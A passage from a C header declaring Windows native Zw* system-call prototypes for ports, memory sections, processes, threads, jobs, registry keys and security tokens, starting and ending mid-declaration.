PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI ZwSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, IN OPTIONAL PSID RequiredServerSid, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI ZwListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE ConnectionRequest ); NTSTATUS NTAPI ZwAcceptConnectPort( OUT PHANDLE PortHandle, IN OPTIONAL PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); NTSTATUS NTAPI ZwCompleteConnectPort( IN HANDLE PortHandle ); NTSTATUS NTAPI ZwRequestPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); NTSTATUS NTAPI ZwRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyWaitReplyPort( IN HANDLE PortHandle, _Inout_ PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI ZwReplyWaitReceivePort( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext , IN OPTIONAL PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage ); NTSTATUS NTAPI ZwReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext, IN OPTIONAL PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message ); NTSTATUS NTAPI ZwReadRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWriteRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, IN PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI ZwQueryInformationPort( IN HANDLE PortHandle, IN PORT_INFORMATION_CLASS PortInformationClass, OUT PVOID PortInformation, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwCreateSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PLARGE_INTEGER MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN OPTIONAL HANDLE FileHandle ); NTSTATUS NTAPI ZwOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, _Inout_ OPTIONAL PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect ); NTSTATUS NTAPI ZwUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI ZwExtendSection ( IN HANDLE SectionHandle, _Inout_ PLARGE_INTEGER NewSectionSize ); NTSTATUS NTAPI ZwAreMappedFilesTheSame ( IN PVOID File1MappedAsAnImage, IN PVOID File2MappedAsFile ); NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI ZwFreeVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI ZwReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWriteVirtualMemory ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI ZwFlushVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSTATUS NTAPI ZwLockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI ZwUnlockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI ZwProtectVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI ZwQueryVirtualMemory ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T SectionInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwMapUserPhysicalPages ( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, IN OPTIONAL PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwMapUserPhysicalPagesScatter ( IN PVOID *VirtualAddresses, IN ULONG_PTR NumberOfPages, IN OPTIONAL PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwFreeUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwGetWriteWatch ( IN HANDLE ProcessHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT PULONG Granularity ); NTSTATUS NTAPI ZwResetWriteWatch ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN SIZE_T RegionSize ); NTSTATUS NTAPI ZwCreatePagingFile ( IN PUNICODE_STRING PageFileName, IN PLARGE_INTEGER MinimumSize, IN PLARGE_INTEGER MaximumSize, IN ULONG Priority ); NTSTATUS NTAPI ZwFlushInstructionCache ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN SIZE_T Length ); NTSTATUS NTAPI ZwFlushWriteBuffer ( VOID ); NTSTATUS NTAPI ZwQueryObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG ObjectInformationLength ); NTSTATUS NTAPI ZwDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPTIONAL HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI ZwMakeTemporaryObject ( IN HANDLE Handle ); NTSTATUS NTAPI ZwMakePermanentObject ( IN HANDLE Handle ); NTSTATUS NTAPI ZwSignalAndWaitForSingleObject ( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForMultipleObjects32 ( IN ULONG Count, IN LONG Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwSetSecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSTATUS NTAPI ZwQuerySecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG Length, OUT PULONG LengthNeeded ); NTSTATUS NTAPI ZwClose ( IN HANDLE Handle ); NTSTATUS NTAPI ZwCreateDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryDirectoryObject ( IN HANDLE DirectoryHandle, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, _Inout_ PULONG Context, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwCreateSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING LinkTarget ); NTSTATUS NTAPI ZwOpenSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQuerySymbolicLinkObject ( IN HANDLE LinkHandle, _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); NTSTATUS NTAPI ZwGetPlugPlayEvent ( IN HANDLE EventHandle, IN OPTIONAL PVOID Context, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize ); NTSTATUS NTAPI ZwPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); NTSTATUS NTAPI ZwPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, IN OPTIONAL PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwSetThreadExecutionState( IN EXECUTION_STATE esFlags, // ES_xxx flags OUT EXECUTION_STATE *PreviousFlags ); NTSTATUS NTAPI ZwRequestWakeupLatency( IN LATENCY_TIME latency ); // NTSTATUS // NTAPI // ZwInitiatePowerAction( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags, // POWER_ACTION_xxx flags // IN BOOLEAN Asynchronous // ); // NTSTATUS // NTAPI // ZwSetSystemPowerState( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags // POWER_ACTION_xxx flags // ); // NTSTATUS // NTAPI // ZwGetDevicePowerState( // IN HANDLE Device, // OUT DEVICE_POWER_STATE *State // ); NTSTATUS NTAPI ZwCancelDeviceWakeupRequest( IN HANDLE Device ); NTSTATUS NTAPI ZwRequestDeviceWakeup( IN HANDLE Device ); NTSTATUS NTAPI ZwCreateProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN OPTIONAL HANDLE SectionHandle, IN OPTIONAL HANDLE DebugPort, IN OPTIONAL HANDLE ExceptionPort ); NTSTATUS NTAPI ZwCreateProcessEx ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN ULONG Flags, IN OPTIONAL HANDLE SectionHandle, IN OPTIONAL HANDLE DebugPort, IN OPTIONAL HANDLE ExceptionPort, IN ULONG JobMemberLevel ); NTSTATUS NTAPI ZwOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PCLIENT_ID ClientId ); NTSTATUS NTAPI ZwTerminateProcess ( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwQueryInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwGetNextProcess ( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewProcessHandle ); NTSTATUS NTAPI ZwGetNextThread ( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); NTSTATUS NTAPI ZwQueryPortInformationProcess ( VOID ); NTSTATUS NTAPI ZwSetInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSTATUS NTAPI ZwCreateThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended ); NTSTATUS NTAPI ZwOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PCLIENT_ID ClientId ); NTSTATUS NTAPI ZwTerminateThread ( IN OPTIONAL HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwSuspendThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwSuspendProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwResumeProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ); NTSTATUS NTAPI ZwSetContextThread ( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ); NTSTATUS NTAPI ZwQueryInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NTAPI ZwAlertThread ( IN HANDLE ThreadHandle ); NTSTATUS NTAPI ZwAlertResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwImpersonateThread ( IN HANDLE ServerThreadHandle, IN HANDLE ClientThreadHandle, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos ); NTSTATUS NTAPI ZwTestAlert ( VOID ); NTSTATUS NTAPI ZwRegisterThreadTerminatePort ( IN HANDLE PortHandle ); NTSTATUS NTAPI ZwSetLdtEntries ( IN ULONG Selector0, IN ULONG Entry0Low, IN ULONG Entry0Hi, IN ULONG Selector1, IN ULONG Entry1Low, IN ULONG Entry1Hi ); NTSTATUS NTAPI ZwQueueApcThread ( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcArgument1, IN OPTIONAL PVOID ApcArgument2, IN OPTIONAL PVOID ApcArgument3 ); NTSTATUS NTAPI ZwCreateJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwAssignProcessToJobObject ( IN HANDLE JobHandle, IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwTerminateJobObject ( IN HANDLE JobHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwIsProcessInJob ( IN HANDLE ProcessHandle, IN OPTIONAL HANDLE JobHandle ); NTSTATUS NTAPI ZwCreateJobSet ( IN ULONG NumJob, IN PJOB_SET_ARRAY UserJobSet, IN ULONG Flags ); NTSTATUS NTAPI ZwQueryInformationJobObject ( IN OPTIONAL HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationJobObject ( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, IN PVOID JobObjectInformation, IN ULONG JobObjectInformationLength ); NTSTATUS NTAPI ZwCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, IN OPTIONAL PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI ZwDeleteKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName ); NTSTATUS NTAPI ZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwFlushKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwInitializeRegistry( IN USHORT BootCondition ); NTSTATUS NTAPI ZwNotifyChangeKey( IN HANDLE KeyHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI ZwNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, IN OPTIONAL ULONG Count, IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI ZwLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile ); NTSTATUS NTAPI ZwLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags ); NTSTATUS NTAPI ZwLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, IN OPTIONAL HANDLE TrustClassKey ); NTSTATUS NTAPI ZwOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwQueryMultipleValueKey( IN HANDLE KeyHandle, _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); NTSTATUS NTAPI ZwReplaceKey( IN POBJECT_ATTRIBUTES NewFile, IN HANDLE TargetHandle, IN POBJECT_ATTRIBUTES OldFile ); NTSTATUS NTAPI ZwRenameKey( IN HANDLE KeyHandle, IN PUNICODE_STRING NewName ); NTSTATUS NTAPI ZwCompactKeys( IN ULONG Count, IN HANDLE KeyArray[] ); NTSTATUS NTAPI ZwCompressKey( IN HANDLE Key ); NTSTATUS NTAPI ZwRestoreKey( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Flags ); NTSTATUS NTAPI ZwSaveKey( IN HANDLE KeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI ZwSaveKeyEx( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Format ); NTSTATUS NTAPI ZwSaveMergedKeys( IN HANDLE HighPrecedenceKeyHandle, IN HANDLE LowPrecedenceKeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI ZwSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN OPTIONAL ULONG TitleIndex, IN ULONG Type, IN OPTIONAL PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI ZwUnloadKey( IN POBJECT_ATTRIBUTES TargetKey ); NTSTATUS NTAPI ZwUnloadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG Flags ); NTSTATUS NTAPI ZwUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN OPTIONAL HANDLE Event ); NTSTATUS NTAPI ZwSetInformationKey( IN HANDLE KeyHandle, IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, IN PVOID KeySetInformation, IN ULONG KeySetInformationLength ); NTSTATUS NTAPI ZwQueryOpenSubKeys( IN POBJECT_ATTRIBUTES TargetKey, OUT PULONG HandleCount ); NTSTATUS NTAPI ZwQueryOpenSubKeysEx( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG BufferLength, OUT PVOID Buffer, OUT PULONG RequiredSize ); NTSTATUS NTAPI ZwLockRegistryKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwLockProductActivationKeys( _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); NTSTATUS NTAPI ZwAccessCheck ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwAccessCheckByType ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwAccessCheckByTypeResultList ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN OPTIONAL PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE TokenSource ); NTSTATUS NTAPI ZwCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN Equal ); NTSTATUS NTAPI ZwOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenThreadTokenEx( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI ZwFilterToken ( IN HANDLE ExistingTokenHandle, IN ULONG Flags, IN OPTIONAL PTOKEN_GROUPS SidsToDisable, IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, IN OPTIONAL PTOKEN_GROUPS RestrictedSids, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI ZwImpersonateAnonymousToken( IN HANDLE ThreadHandle ); NTSTATUS NTAPI ZwQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG TokenInformationLength ); NTSTATUS NTAPI ZwAdjustPrivilegesToken ( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, IN OPTIONAL PTOKEN_PRIVILEGES NewState, IN OPTIONAL ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwAdjustGroupsToken ( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState , IN OPTIONAL ULONG BufferLength , OUT PTOKEN_GROUPS PreviousState , OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwPrivilegeCheck ( IN HANDLE ClientToken, _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); NTSTATUS NTAPI ZwAccessCheckAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR 